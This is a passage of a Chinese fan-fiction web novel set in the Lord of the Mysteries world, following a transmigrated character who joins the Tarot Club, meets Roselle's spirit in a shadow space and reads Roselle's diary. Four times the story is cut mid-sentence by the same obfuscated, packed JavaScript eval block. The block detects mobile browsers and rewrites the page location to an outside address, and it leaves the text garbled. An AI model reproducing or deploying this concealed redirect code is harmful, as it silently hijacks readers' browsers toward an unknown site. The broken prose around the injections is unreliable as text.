在游戏里,伊莱亚几乎每天都会向愚者祈祷,拿愚者赐福——作为愚者眷者,这个赐福能给他带来全属性增幅百分之三十的加成,完全无法拒绝——但是他确实没在游戏里见过愚者本人。
官方给出的理由是神明居于星界,不会轻易降临人世,更不会随意接触凡人,但是虔诚的祈祷可以抵达神明的耳畔。
因为愚者赐福的buff实在太香,所以伊莱亚每次祈祷都非常虔诚,如果那是真实的世界的话,估计愚者也能天天听到他请求帮助的祈祷吧……咳咳。
不能想下去了,这可是在神明面前。伊莱亚努力压住自己蓬乱的思维。
“叩叩。”
他听到长桌上首,那道被萦绕的灰雾掩盖了面容和身形的存在姿态随意地敲了一下桌子,轻笑了一声:“不必如此,抬起头吧。你为何祈祷?”
跟不让看见任何东西还威压强大的黑夜女神比起来,愚者真是个好人,哦不,亲民的神,甚至会在一开始就收敛身为神明所自带的压力,和看到他变狼人之后才收力的黑夜女神完全不一样。
没有诋毁女神的意思,感谢女神打赏的眷者和钱和材料。伊莱亚真诚地在心底低语。
然后他深吸一口气,开始陈述自己准备好的理由——当然不会把所有事情全说,但是确实全是真话:
“愚者先生,我失去了很多记忆(我失去了原身的记忆),也不知道为什么会在这里(我不知道为什么会穿越),但是在我的感觉里,您已复苏多年,强大如同万物的支柱,您的信徒遍布世界,您的伟力可以撼动地球。
我应当信仰着您,敬爱着您,您的光辉照耀着我前行的道路(我会像爱您给的buff一样虔诚的信仰您,您的赐福永远照耀着我的游戏之路)。”
……你说的是我吗?hello?我现在只是一个装成复苏古神的序列九,你说的那个夸张强大的像上帝降临的“愚者”是谁?克莱恩面色不改,心里忍不住吐槽。
我当真神?真的假的?
但在伊莱亚说这段话的时候,克莱恩一直开着灵视看他的情绪。
他看得出来,伊莱亚此刻兴奋又平静,似乎在思索着什么,而他在灰雾之上增强了的灵性直觉告诉他,面前的人没说谎。
他好像是真的把我当成了一位很强大的神明,好像是真的在信仰愚者……克莱恩听着伊莱亚真情实感的倾诉,表情不变,思绪却逐渐诡异。
女神眷者跑来信仰邪神吗?他信仰的那个“愚者”,真的是我吗?
于是克莱恩又敲了一下桌子,打断了“信徒”的发言,声音低沉:“我才刚复苏不久,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334481|199221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并未传播我的尊名。你确定你信仰的神明是我吗?”
不是说愚者是打击末日的主力吗?什么叫末日马上就到了愚者才刚复苏?祂恢复的那么快吗,这么几年之间就从刚复苏到旧日了?
不对,不对,要是愚者刚复苏的话,那我就不能是“信仰愚者已久”的信徒了。总不能说我一直信仰一个伪装成愚者的邪神吧。
说我是穿越进了游戏也不行……但是穿越应该可以。伊莱亚想到女神的英语,又想到游戏里愚者教会出版的罗塞尔日记全集,心一横。
赌一把,万一愚者会汉语呢?
于是他自然地抬起头,望向那张被灰雾遮掩的面容,鲁恩语改成了字正腔圆、词句清晰的中文:
“我也不清楚为什么会这样,虽然我失忆了,但是我确定我信仰的就是您,愚者先生。”
“我怀疑是我穿越了。”
伊莱亚的话音落下,灰雾之上只余沉默。
伊莱亚说完就低下了头,屏息紧张,半晌,才听到愚者恢宏而低沉的声音,语调很柔和,声音很耳熟,“好,我知道了。我会定期举办集会,你想加入吗?”
是中文。
真的是中文。
愚者真的说中文!
而且一听就是母语水平。
伊莱亚深深吸了口气。说英语的女神,说中文的愚者,就算现在告诉他还有什么神会说俄语他也不会意外的。
等等,愚者让他加入什么?愚者的神前会议?那不就是传说中全员天使的塔罗会吗!
“我愿意!”怎么会有不想加入塔罗会的愚者信徒呢?
“塔罗会的惯例是从二十二张大阿卡纳牌当中选一个代号,现在已经有的是【正义】和【倒吊人】。”愚者的声音平稳,带着神秘的气息,“你想要什么代号?”
囚犯途径对应的塔罗牌是节制,但是伊莱亚模糊的记忆里【节制】已经有人了。剩下的牌……说实话,他记不清。他真的不怎么关注剧情和角色,
能记得【节制】还是因为这是和他同途径的前辈。
“能请您去掉已经有人的牌之后。为我抽一张塔罗牌吗?我想将那张牌作为我的代号。”
作为占卜家序列顶端的愚者肯定可以为他抽出最符合命运的牌。
而且四舍五入就算是愚者亲手给他起的代号!要是愚者同意的话,他这辈子就不换代号了!
灰雾之后的占卜家笑了笑,“好。”
于是青铜桌面上的灰雾漫流聚集在一起,凝成18张塔罗牌。这是去掉了作为首尾的【愚者】、【世界】以及已经有人了的【正义】和【倒吊人】之后剩下的卡牌。
首座上一身正装的神明行云流水般洗牌,然后把牌展成扇形,抽出位于扇形正中央的那张牌,放在桌上,推到伊莱亚面前,翻开。
竖长的塔罗牌上,矗立着由地至天的白色高塔,塔顶有雷电轰鸣与烈火灼烧,再细细看去,有小小的人形从塔上掉落。
【高塔】牌!
“欢迎你,【高塔】。”
他听见那崇高却亲切的存在如此说道。
5. 源质空间与罗塞尔
伊莱亚睁开眼睛。
房间里加了精油的蜡烛燃烧出清幽的香味,和食物的气味混合在一起,有股奇怪的感觉。
他把东西收拾起来,拉开窗帘,任由绯红的月光透进玻璃,为地板笼上一层红纱。
说实话,他来到这个世界第一次有“我穿越了”的想法就是因为看到了悬于天空的红月。
当时那个与记忆中的月亮截然不同的天体给伊莱亚带来了极大的震撼,也让他切身实地的意识到世界真的变了。
伊莱亚收回视线,席地而坐,思绪沉入脑海。
他应当确实是穿进了“游戏”,或者说,游戏就是按照这个世界的现实创作出来的产品。
准确的说,游戏的背景世界观是他身处的这个世界几百或者几千年后的现实。
在游戏里最出彩的神明在这个时代同样存在,不过女神的教会已经昌盛多年,而愚者才刚刚复苏,一切处于百废待兴的阶段。
而且,这俩神还都和他一样是穿越者。
女神说自己和她有过交易,估计是在空白的那段记忆里发生过的事情。考虑到神性强大的人一向冷酷客观,而女神面对一个失忆的人还愿意兑现自己交易的承诺,这场交易里祂肯定没吃亏。
就是不知道自己到底干了什么,或者要干什么,才能换黑夜教会无条件的支持和帮助。
伊莱亚把“晋升序列,探究和黑夜女神的交易内容”列入未来计划当中。
此外,他也准备看看能不能加入值夜者的那些活动,了解一下真实的非凡者,顺便看看自己的实力大概处于什么层。
不知道为什么,虽然他刚穿越没几天,目前为止也基本没扮演过狼人,但是在他的感觉里,魔药确实已经消化的差不多了,随时可以晋升。
可能这速通的魔药消化进度就是他这个穿越还没记忆的倒霉蛋的金手指吧。
至于愚者……
红发的青年回忆着在灰雾中看向那温和的面目不清的神明时的感受,忍不住感叹:
“确实是一位仁慈的神明啊。”
不仅完全没有传说中“只可信其威能不可信其仁慈”的样子,甚至给人一种有只要请求合理祂就会同意的感觉。
何尝不是一种已识乾坤大犹怜草木青呢。
咳咳,扯远了。总之,他现在算是加入了塔罗会,按愚者的说法,下周一会召开塔罗会,不知道到时会有多少人,又会是怎么样的一个形式。
伊莱亚还是挺好奇未来大名鼎鼎群英荟萃的塔罗会早期是什么样子的。
想到这里,他没忍住扬起了嘴角。
不管未来怎么样,至少在现在,他也是塔罗会的一员了。
赞美愚者。
空荡而没有什么人气的房间里,肤色苍白的年轻人朝着虚空行了个庄严的礼。
——
虽然黑夜教会提供的房子可以拎包入住,但是整理成大致符合伊莱亚习惯的样子还是废了一些功夫。
等到全部事物都打理好,就算有着序列七级别的身体也已经感到疲惫了。
他往床上一躺,闭上眼,灵魂下沉至无垠的黑暗中,陷入无梦的安眠。
……本来该是安眠的。
所以这个扎着小辫子的神秘棕毛男是谁?
“哟,你醒啦?手术很成功。”这个蓝眼睛的家伙穿着一身很华丽的衣服,叉着腰,看起来三四十岁上下,脸上的两撮小胡子相当吸睛。
很好,又是中文,吐字清楚平仄分明,好熟练的母语级中文。
穿越以来见到的老乡含量已经高到让伊莱亚感觉这个穿越就跟回家了一样。
“全世界都在讲中国话”指日可待。
他撑着地面用力坐起,差点撞上眼前男人的脑门。
“你是谁?这里是哪?我又进谁的神国了?”
“你的。”
棕发的男人放下惊雷,然后一个大喘气,“不过不是神国,只是一个源质而已。”
“源质?那是什么。还有,你到底是谁?”伊莱亚盯着男人的完全没改的微笑看了一会,意识到自己暂时回不去,叹了口气反问道。
“简单来说,这里是你的金手指或者说外挂啦,但是由于这个外挂太牛逼了,所以你暂时不能听这玩意具体是什么。”
“以及,我叫罗塞尔,罗塞尔·古斯塔夫,伟大的因蒂斯皇帝。”
自称是罗塞尔的家伙神情爽朗而豪迈,带着一种浑然天成的领袖气质,每一个字都有种天然的能让人发自内心相信的魔力。
“没听说过。”伊·所有剧情全部跳过·莱·完全不了解历史·亚下意识皱眉,他能感觉到这人身上那种“只要呼吸就带有奇异的威严”的非凡气息。
虽然这人的压迫感不是那么强,但是他确实给伊莱亚一种面对黑夜女神时的感受。
不是性别和能力像,而是那种语言和一举一动里里都融入了登峰造极的非凡能力,仿佛非凡已经是他们存在的一部分,已经成了他们的血液、呼吸与神经的感觉。在这方面,这俩人像的出奇。
哦,在谜语人的方面也像。
就算是个非凡文盲,伊莱亚也知道高序列的非凡知识容易引起失控所以不能随便告诉别人。
但是也没必要总是说着“这里有秘密”然后又来一句“你不能听”吧?
“不能说就算了。”他翻着白眼站起身,感觉到自己暂时没有回去现实世界的办法,就开始打量四周环境。
黑暗,彻彻底底的黑暗,带着难以言喻的虚无感,目之所极皆是影影绰绰层层叠叠的漆黑。
万物皆是混沌,甚至连脚下都是虚空,没有可以仰望的天更没有可以踩踏的地。
虽然完全没有光照,但是依旧能看清一切,只不过这里并没有任何值得去看的事物,除了那漫无边际几乎数不清的生长在漆黑的虚空中或飘荡着的影子。
所有的感知都被这种奇诡的黑暗所吞没、否定,又给人一种强烈的束缚感,仿佛灵魂下一刻就要消弭于暗影中却又被无形的事物束缚成形。
不过在很远的地方,似乎有什么星星一样闪烁着的微芒,被层层黑暗包裹着,并不明晰。
伊莱亚的眼睛缓缓睁大。
“这到底是哪?我怎么回去?”他转向罗塞尔,下意识询问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334482|199221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看起来是个老资历的家伙。
这里看着就不像是人能活的地方啊?
而这一次,他终于看清了罗塞尔的样子。
这个对他的无视和询问只是哼笑的家伙,有着半透明的身体,在这漫无边际形式多样的黑暗中竟然发出微微的光,也照亮了这一隅。
“你真的是人吗?”伊莱亚下意识提高了声音。
他能感觉到自己被空间或者空间里的什么东西影响了状态,变得焦躁而急迫,无形的欲望被鼓动,驱使着他去放纵自我、肆意行事,甚至连说话都比正常状态下直白了不知多少。
不行,不能随便被影响。我明明是以自我节制出名的囚犯序列,怎么能随便失控。
他闭上眼,调理气息,在心底反复描绘最近看到的印象深刻的东西,压下心中那种奇异的躁动。
等到他再睁开眼时,看到的就是罗塞尔靠在桌边,研究手里不知何时出现的煤气灯的场景。
一个半透明虚化的人拿着完全是个正常实体的煤气灯,有种淡淡的喜剧感。
“终于清醒了?”罗塞尔把灯放在桌上,似乎看出了伊莱亚没说出口的困惑,敲敲桌子,“这是你变出来的,你刚刚是不是在想灯和桌子?”
“我都说了,这里是你的源质,已经被你控制住的空间,这个世界是任你操纵的,你想要的东西都可以具现出来。”他仍然是一副神秘大佬的样子,“只要你想的到,想的清楚。”
“相关知识涉及到的层次太高不能告诉我的话,至少告诉我一下这里的名字吧?”伊莱亚盯着煤气灯里的光,意识到这是自己在警察局审讯室里看到的那盏。
现在距离他从审讯室出来竟然只过了半天时间,恐怖如斯。
“你应该有点感觉吧?暗影世界,这里就叫暗影世界。”罗塞尔站的正了些,表情也正经了不少。
“我上辈子叫黄涛,穿越的比较早,在因蒂斯当了好多年皇帝,还晋升到了序列零。这个我是我死后剩下了一部分清醒灵体。我到这里之后就陷入了沉睡,记忆也不全,所以,我也不知道为什么会在这里。
“以及,我醒的时间也没比你早多少,应该也就是这两天的事情。可惜这里没有日夜,不能确定准确的……”罗塞尔下意识接住从天降落的怀表,“时间。”
他打开这个伊莱亚临时在脑中勾勒出来的怀表看了一会,笑眯眯地抬起头,这下他身上的那种非凡级别的威严已经全然消失了,但是仍然有一种娴熟的亲切感和吸引力:“学的不错,下次可以多变点东西试试。”
“对了,我很了解各种非凡知识,如果有什么不知道的东西都可以来问我,有什么非凡材料的话也可以找我来做成非凡物品。虽然现在转序列了,但我可是序列零级别的工匠。”
罗塞尔的手搭上伊莱亚的肩膀,自然的拍了两下,仿佛相识多年亲密无间的好友。
“作为交换,你就趁早晋升,然后想办法把我拉到现实吧?身体可以我自己来做。还有,要是可以的话,也多来看看你英年早逝孤苦伶仃的倒霉老乡我啊?”
影影绰绰的漆黑世界里,红发的青年低低地应了一声。
6. 猫和老鼠与教唆者
一番尝试之后,伊莱亚找到了进出暗影世界的方法,成功控制自己的灵体,离开了那个一片黑暗的空间。
回到现实以后,他瞥了一眼房间里的钟表,距离他进去的时候过了大概半个小时。
在暗影世界里的时候会感觉灵性在持续消耗,但是速度不算很快,还在可以接受的范围,出来以后也不会感觉非常疲惫或者头痛。但是离开了那个阴暗压抑的世界之后面对现实,会有一种眼前一亮,整个人焕然一新的感觉。
……虽然说按照穿越小说的惯例,金手指空间应该是外挂是福利,但是目前来看,伊莱亚的“外挂”除了保护了不知名前辈的灵体和让自己感到不适之外,没什么显眼的用处。
伊莱亚重新闭上眼,尝试着主动让灵体下沉至灵魂与意识的海洋。
令人烦躁的虚幻呓语和扭曲压抑的气息裹挟着他下坠,又在某一刻骤然消失。
“成功啦?不错嘛。”熟悉的声音传来,伊莱亚在罗塞尔的注视中睁开眼,目光所及之处已然是他刚刚离开的空间。
没有固定形质的黑影像是流淌的潮水又像弥散的雾气,时而又化作奇形怪状的物品,无穷无尽的堆叠在眼前。
伊莱亚按了按太阳穴,目前来看,相比于身处暗影世界和意念造物,对灵性消耗更大的还是这个进出空间的过程。
不过好在这些都在他接受的范围内。
这些思索都只在瞬息间,没有妨碍他回应罗塞尔:“以后应该能很流畅的进来了,挺轻松的。”
然后他又注意到罗塞尔身边多出来的一堆东西。
花样繁复的地毯上摆着一个长沙发和几个单人沙发、精致华丽的茶几、复古立地台灯和两个低矮的柜子,都是法式宫廷风,虽然没墙没屋顶,但是这几样家具往那一搁,就有种浑然天成的封建时期大城堡内饰的即视感。
而搞出这堆东西的本人就躺靠在沙发上,懒洋洋地看着眼前巨大的与整体风格截然不同的电视。
电视上还放着猫和老鼠。
看来在他离开空间的很短的一段时间里,罗塞尔也干了不少事情啊。
伊莱亚在脑海中构造出一个明亮舒适的房间,然后看着虚无的黑暗中一寸寸拔起平整的白墙,又在三米高的位置转折,聚拢成平直的屋顶。最后,圆润而不刺目的护眼灯出现在屋顶的正中央,照亮身处其中的一切。
现在,这里像一个正常的现代风格古典装潢的房间了。
“你怎么搞出来电视的?”年轻人看着屏幕上奔跑追逐的猫鼠,微微睁大了眼睛,感觉刚刚因为担心罗塞尔一个人在这个过于幽暗压抑的空间里会不舒服,所以赶紧回来的自己有点幽默。
“我以前是通识者啊,能记住所有见过的东西,这里又是只要能想出来就能无视能源和材料,区区电视,小菜一碟。”这位他并不了解的穿越者前辈好似完全没有被“自己被困于这片空间中,除了伊莱亚之外接触不到任何人”这种事情困扰,神采奕奕地说着“蒸汽教会真没用,打不过风暴之神,连电力都不让我搞”之类的话。
但是对于一个能记住一切的人来说,一部每个细节都烂熟于心的动画也说不上有多好看吧。
但伊莱亚没说自己的想法,只是应下罗塞尔的邀请,坐在舒适而陌生的沙发上,和素未谋面的同乡一起看这部在这个时代绝对没有可能出现的、与过往记忆紧密相连的作品。
“我到时候研究一下能不能送点东西进来。你有什么需要的吗?新的小说?发明?还是别的什么东西?”片尾曲的音乐里,他计算着剩下的灵性,转头看向罗塞尔。
“搞点常用的非凡材料吧,我做点东西试试。”到了自己的专业领域,罗塞尔摸着下巴具现出一张a4纸,列出一串让人眼花撩乱的非凡物品和金属、植物,递给伊莱亚,“然后的话,最近几年的报纸,哪里的都行,尽量多一点。再看看市面上有什么比较火的小说,题材无所谓。”
“大概就是这样,那就拜托小伊你了。”男人保持着一副大前辈的成熟样子说完这些,又态度一转,勾住了伊莱亚的脖子,微微咬牙:“最重要的一件事,给我好好查一下伟大的罗塞尔·古斯塔夫的资料,仔仔细细了解一下前辈啊。”
伊莱亚回顾着脑海里白茫茫一片真干净的关于这个世界的历史,又看了几眼单子上几乎完全陌生的非凡材料,苦着脸点头。
早知道会穿越,他一定反复研读游戏剧情设定和各种资料,一定认真观看那些解析视频,无论如何不会让自己成为神秘学文盲兼史盲。
不过仔细想想,抛开神秘学不说,单论这个世界与非凡无关的那些普通知识,他也是个彻彻底底毫无学历的文盲啊,那没事了。
哈哈。笑笑蒜了。
伊莱亚记下需要的东西,在罗塞尔懒洋洋地挥手告别里回到现实。
此时还是夜晚,绯红的月光透过窗帘的罅隙穿进卧室,在地板上投下长条状的光影,带着一种陌生的魔幻感。
好好睡一觉,剩下的事情明天再说吧。
这一次,是真正的睡着了。
——
次日早晨,佐特兰街,黑荆棘安保公司。
红发的青年敲了几下木门,听到里面传来的一声“请进”之后便推开门走了进去。
“你好,请问有什么需要……”坐在前台的罗珊抬起头,下意识说着面对委托人时惯例的台词,又在看到伊莱亚的脸都时候戛然而止。
“加拉哈德先生?你是来找队长他们的吗?”棕发的女孩回忆着昨天来自邓恩的吩咐,“队长说你要是来找他的话直接带你进去就好。”
伊莱亚欣然点头,跟着女孩走进通道。
邓恩今天在办公室处理事务,看到敲门进来的罗珊和伊莱亚的时候便把手里的文件放下,灰眸沉静而深邃:“早上好,眷者阁下。辛苦了,罗珊。”
罗珊朝他和伊莱亚点点头,退出了房间,顺便带上了门。
这下,这里只剩邓恩和伊莱亚了。
“有什么需要的吗?眷者阁下。按照女神的神谕,力所能及的我们都可以为您提供。”邓恩在室内没带那顶礼帽,但是身上仍穿着黑色风衣,有种严肃沉默的气质,语气却相当温和,如同亲切的长者。
“首先,请不要叫我眷者阁下,叫我伊莱亚就好。”伊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334483|199221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莱亚面色诚恳地说。
这称呼太古典了,再叫我阁下我都要觉得自己穿进封建社会了。
看着邓恩点头,他才继续说:“你们有非凡者相关的资料吗?呃,就是给新手非凡者那种,非凡常识相关的。我没有相关的记忆了,担心会失控或者出什么问题之类的,想学习一下。”
毕竟在现实中,不能像游戏里那样两眼一睁就是莽,出问题了就回到复活点重开。这个世界的人失控了一般没救,死了就是死了,一般来说也不会复活。他得谨慎一些。
——至少得了解一下现在世界上有哪些神明,又有哪些是正神。总不能在别人问起来的时候说“对不起我只认识女神和愚者”吧,那也太不像个正常非凡者了。
如果愚者说的“刚复苏不久”是实话的话,祂现在可能不在正神名单上,甚至可能被当作邪神,那他这个“女神眷者”就更不能提及对方了。
当然,伊莱亚十分、非常清楚,在未来,愚者会成为被所有国家所认可且公认最仁慈亲切的神明。
“还有就是,我想问一下你们这有没有苜蓿号相关的资料,现在回想起来,当时船上的自相残杀应该是因为有……教唆者?”
“……你能确定吗?”邓恩的脸色沉凝。
他知道教唆者是序列8,刺客序列的上位。作为能力相当危险,经常在各种非凡案件中作为罪犯出现的序列,教会对教唆者也有一定的记载。
简单来说,教唆者们的能力和序列名称非常匹配,他们擅长的就是挑拨冲突、激化矛盾、诱发恶念,引起各种人与人之间的斗争。
把“有教唆者引导冲突”这一前提放入当时苜蓿号上无端发生的的自相残杀案件中进行思考,整个事件的脉络就一下子清晰了起来。
正是因为因为有教唆者故意教唆他人引起争端,船上才会爆发前所未有且毫无缘由的血案,直至船抵达岸边时,这场闹剧才进入大众视线。
至于那名教唆者……哈,肯定藏在幕后,早早逃走了,说不定还带上假面,伪装成拯救他人的大善人了呢!
伊莱亚当年低序列的时候,就追杀过几个为了扮演故意勾起人心恶意,等一切爆发之后又装模作样当好人的教唆者。
同为不算完全正义的序列,刺客途径的晋升可比他们囚犯途径要血腥暴力多了。
灰眸的队长神情严肃地点头:“我会把你提供的信息上报。相关的资料和教唆者的踪迹我们会向恩马特港那边的值夜者咨询,等有消息了就告诉你。”
“对了,非凡知识相关的书籍大多在查尼斯门后,你去文职人员办公室找老尼尔,他可以给你把资料带出来。”
伊莱亚简洁的表达了感谢,刚要走出门,邓恩就补充了一句:“等等,文职人员办公室是出门左拐第一间,有打字机的那个房间。进去以后,你看到的白头发的老人就是老尼尔。”
“你的保密权限是最高级,廷根值夜者小队这边所有资料都可以查看。”
伊莱亚真情实感的在胸前画了个红月,“非常感谢!赞美女神。”
邓恩喝了一口咖啡,同样在胸前点了四下,“赞美女神。”
7.人人都看大帝日记
文职人员办公室的铁门半掩,透出朦胧的淡黄灯光。
伊莱亚轻轻敲了一下门,听到里面传来苍老的声音:“请进。”
这个房间相当狭窄,放下一套桌椅以后就没几分宽裕空间了。房间里只有一个人,穿着一身黑袍,头发花白,正坐在椅子上低头看资料。
“你就是那位女神眷者?初次见面,像邓恩他们一样叫我老尼尔就好。”听到开门的声音,老尼尔抬头看向伊莱亚,笑容温和。
“伊莱亚·加拉哈德。”伊莱亚朝他点点头,顺手把门合上,“叫我伊莱亚就好。”
他把刚刚从队长那里拿来的批条放在从满是书纸的桌上腾出的空地里,推给尼尔:“这是队长给我的批条,他说找你拿和非凡知识相关的书和资料。”
“好,那你要大概哪些内容的资料呢?”尼尔看了一眼纸条上邓恩的字迹,问道。
“……新手非凡者常识吧,还有基本的仪式魔法、当下主流的隐秘组织和邪教知识。”伊莱亚思索着自己一片空白的非凡知识,一边不算确定地发问:“对了,这里能找到近几年非凡者失控或者犯案的案卷吗?”
不知道是不是错觉,他感觉眼前的老者身上带着一种很古怪的邪异气息。不算浓郁,但是对一个感知相当敏锐,自身也是偏黑暗属性的“狼人”来说还是挺明显的。
但是身上沾上了古怪气息的理由可以有很多,伊莱亚自己的非凡知识不算丰富,也不敢随便的怀疑人,万一尼尔和他比较像,情绪和能力其实都很正常,只是自己所在的途径比较邪恶呢?
所以他把这点思虑放在心里,准备等多了解一些相关的知识或者询问专业人士之后再做判断。
——当然,这个询问对象不会是老尼尔本人。
“还有,如果有关于灵性的基础运用的书也很好。”
比如关于灵视怎么开的教程……在游戏里,想要开启灵视只需要按一下技能键,但现实中他是真的没试过,也不知道怎么用。
虽然这个问题对于一个序列七的非凡者来说,荒谬程度可能不亚于问一个大学生“一加一等于几”,但是考虑到伊莱亚的人设目前还是“失忆的倒霉女神眷者”,这些需求还算合理。
没办法,第一次当非凡者,不太熟练。
尼尔点点头,“好,你在这里等我一会。无聊的话可以看看这些资料消磨一下时间。”
随后便拿着纸条走出了房间。
房间里总共就两把椅子,伊莱亚坐在房间里除了刚刚尼尔没坐着的那把椅子上,随意的打量着桌上的书和资料。
《常见非凡材料汇总》《女神圣典解析》《罗塞尔的生平与谎言》《符号语言解析》《鲁恩植物图鉴》……
等等。
伊莱亚的动作停顿了一下。
他好像……看到了一个熟悉的名字?
罗塞尔?生平与谎言?
他从书堆里抽出那本无论是书名还是人名都莫名很熟悉的传记,翻开。
“谨以此书,纪念伟大的因蒂斯皇帝罗塞尔·古斯塔夫陛下。”首页是花体字的鲁恩语句,而在这这句话的正下方,是一张彩色的油画风半身人像。
画面上的男人穿着华丽满是宝石和金线的斗篷,一头自然披散的栗色长卷发被头顶形制独特的铁黑色皇冠束住,他的脸是很标准的西方面孔,高鼻梁下是修饰仔细的胡须蓝色的眼睛沉着地看向画外,表情严肃而端庄。
总的来说,画里的人的长相和姿态都很符合对一位封建皇帝的印象。
也和空间里那位老乡长的一模一样。
好家伙,原来他真是因蒂斯皇帝啊。伊莱亚摸着下巴翻开书页。
虽然标题起的挺微妙,但是这本书总的来说还是正常的传记,讲述罗塞尔的生平、成就和各项事业,只是加上了一些关于罗塞尔的谣言的澄清。
工业革命、蒸汽机、塔罗牌、民法典、以及大量一眼就能看出原型的文学作品……
不愧是穿越者前辈,在大展拳脚改变世界的同时,也没给后辈留下多少发挥的余地啊。
不过就算让我抄我也只会用这些东西,根本没法想起各种图纸和文章,所以还是感谢罗塞尔发起的工业革命,不然我都没法想象没有马桶和下水道系统的世界该怎么生活……伊莱亚在心里嘀咕着,快速地翻看整本书。
“罗塞尔大帝才华横溢,甚至自创出一种除了他以外无人能识别的语言,并将其命名为‘罗塞尔文’。”
“大帝一生写下了数量庞大的日记,其中所使用的全都是他自创的语言,无数人试图描摹、传播、研究,想要探究这种神秘文字背后所蕴藏的传奇帝王的秘密。本书附录中也有几页笔者收集到的大帝日记抄页,期待有看此书的人能破解其中的奥秘。”
只有身为穿越者的罗塞尔知道,除了他以外没有人认识的语言……
多半是中文吧。
伊莱亚把书合上,从末尾的几页翻开,正好打开附录里标着“罗塞尔日记”的那几页。
确实是方块字,只是横歪竖斜,字形膨胀的很大,字不成字句不像句,比起“一篇中文日记”,更像是被好多个完全没学过中文的外国人一个抄一个导致越抄越不像原文的神秘文章。
在日记的角落,还有用鲁恩语写的猜测和批注。
好在作为一个同时熟悉这门语言并且认识这个世界的文字的人,伊莱亚还是能看出来这上面究竟写了什么的。
“五月三十日,通识者牛逼!黄涛牛逼!我的设计和图纸成功做出成品了!不愧是我,等我把这些发明全部造出来,等我开启工业革命,未来所有人都会记住罗塞尔古斯塔夫的名字!”
“六月一日,特罗菈小姐的舞蹈真是美丽动人啊。”
“六月七日,又抄完翻译完一本名著拿去出版了,出版社那边反应不错,没意外的话又是一本畅销书。幸好我上辈子实打实看过不少名著,现在肚子里有货就是爽。”
“三月十五日,世界上怎么会有贝贝这么聪明机灵又活泼可爱的小孩!我的女儿就是好啊,小小年纪就能认识这么多字,还能安安静静看我画图,学唱歌也很快,不愧是我和玛蒂尔达的女儿。”
“九月七日,亚瑟又把贝贝带去海上玩了!是半神会灵界穿梭了不起啊臭小子!谁当骑士会给自己起名叫‘亚瑟·莫德雷德’,还一点没个骑士样子天天拐教女出去玩啊!!”
“不过贝贝还挺喜欢去海边,以后造船了可以多带她出几次海。不带亚瑟,呵呵。”
虽然总的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337723|199221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
页数不少,但是由于字体很大且奇形怪状,实际上内容并不算多,很快就看完了。
确定自己已经把书里的日记看完一遍之后,伊莱亚合上书,陷入思考。
如果空间里那个自称是穿越者前辈罗塞尔的灵体没有撒谎,那么他应该真的就是书里这位传奇帝王。
而除开那个特罗菈之外,在日记中提到的“贝贝”和“亚瑟”应该都是和罗塞尔非常亲近的人,一个是女儿,另一个是女儿的教父,看这个名字,估计也是个穿越者。
有一说一,就伊莱亚目前了解到的人来说,这个世界穿越者还挺遍地开花。
伊莱亚对这个世界的认知不算丰富,所以没有体会到到太多罗塞尔为世界带来的变化。但是可以想见的是,他确实干了很多大事,也确实活得像个穿越小说主角。
不愧是穿越者前辈啊。
正思索着,尼尔抱着一堆书和资料走了进来,伊莱亚连忙去帮忙接书。
尼尔笑呵呵地看着伊莱亚把书放到桌上,从里面拿出一叠资料:“这些隐秘组织和非凡者的资料不能带走,得在这里看完。剩下的书你可以带回家慢慢看,有什么疑惑都可以来问我。”
接着他就看到眼前的年轻人眼睛亮亮地朝他道谢:“非常感谢尼尔先生!”
然后就飞快地打开资料开始翻看了。
被煤油灯照亮的办公室里一下子陷入一种安静的氛围,除了翻书的声音之外只剩两人呼吸的声音。
“你刚刚是在看这本罗赛尔的传记吗?”尼尔注意到桌上被单独放着的书,看了两眼。
“对,我觉得他的日记很有趣,虽然看不懂,但是那些字很好玩,要是能解读出来的话,感觉可以了解到罗塞尔的很多秘密。”伊莱亚还在看资料,但是不妨碍他一心两用地回复了尼尔。
